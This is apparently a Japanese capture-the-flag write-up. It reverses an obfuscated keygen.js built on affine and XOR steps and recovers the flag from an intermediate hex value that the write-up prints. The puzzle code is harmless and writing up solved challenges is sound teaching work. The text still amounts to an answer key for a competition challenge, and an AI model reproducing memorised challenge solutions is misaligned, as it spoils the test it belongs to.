keygen.jsは難読化されていたが、deobfuscatorを利用して、読みやすくした。

keygen.js
function affineEncrypt(_0x1930bc, _0x36e79b, _0x33477e) {
  return (_0x36e79b * _0x1930bc + _0x33477e) % 0x100;
}
function xor(_0x3a38fa, _0x3c3309) {
  return _0x3a38fa ^ _0x3c3309;
}
function hexToBytes(_0x1d9eb0) {
  let _0x2ac99a = [];
  for (let _0x2363dc = 0x0; _0x2363dc < _0x1d9eb0.length; _0x2363dc += 0x2) {
    _0x2ac99a.push(parseInt(_0x1d9eb0.substr(_0x2363dc, 0x2), 0x10));
  }
  return _0x2ac99a;
}
function reverseString(_0x22dcba) {
  return _0x22dcba.split('').reverse().join('');
}
function keygen() {
  let _0x19eb60 = ["9425749445e494332757363353f5d6f50353b79445d7336343270373270366f586365753f546c60336f5".slice(0x0, 0xe), "9425749445e494332757363353f5d6f50353b79445d7336343270373270366f586365753f546c60336f5".slice(0xe, 0x1c), "9425749445e494332757363353f5d6f50353b79445d7336343270373270366f586365753f546c60336f5".slice(0x1c, 0x2a), "9425749445e494332757363353f5d6f50353b79445d7336343270373270366f586365753f546c60336f5".slice(0x2a, 0x38), "9425749445e494332757363353f5d6f50353b79445d7336343270373270366f586365753f546c60336f5".slice(0x38, 0x46), "9425749445e494332757363353f5d6f50353b79445d7336343270373270366f586365753f546c60336f5".slice(0x46, 0x54)];
  let _0x4c2f5e = [_0x19eb60[0x3], _0x19eb60[0x5], _0x19eb60[0x1], _0x19eb60[0x4], _0x19eb60[0x2], _0x19eb60[0x0]];
  let _0x22e526 = _0x4c2f5e.join('').split('').reverse().join('');
  let _0x2051e9 = hexToBytes(_0x22e526);
  let _0x351569 = _0x2051e9.map(_0x585a6f => (0x9 * _0x585a6f + 0x7) % 0x100 ^ 0x33);
  return _0x351569.map(_0x5ca89b => ('0' + _0x5ca89b.toString(0x10)).slice(-0x2)).join('');
}

ためしにkeygenを実行してみると、

abf6c8abb5daabc8ab69d7846def17b19c6dae843a6dd7e1b1173ae16db184e0b86dd7c5843ae8dee15f

という値が返却された。この16進数はASCII文字に変換してもとくに意味はわからなかった。

index.html内の

Please use your standalone decryption device to complete the recovery!

というヒントを元に、アフィン変換→XORと変形する直前(_0x22e526の値)を読み込んでみると、

494e544947524954497b35305f6d7563685f6630725f3533637572335f63306c645f353730723436337d

という値だった。これをCyerchefで変換してみたら、フラグが出力された。

Discussion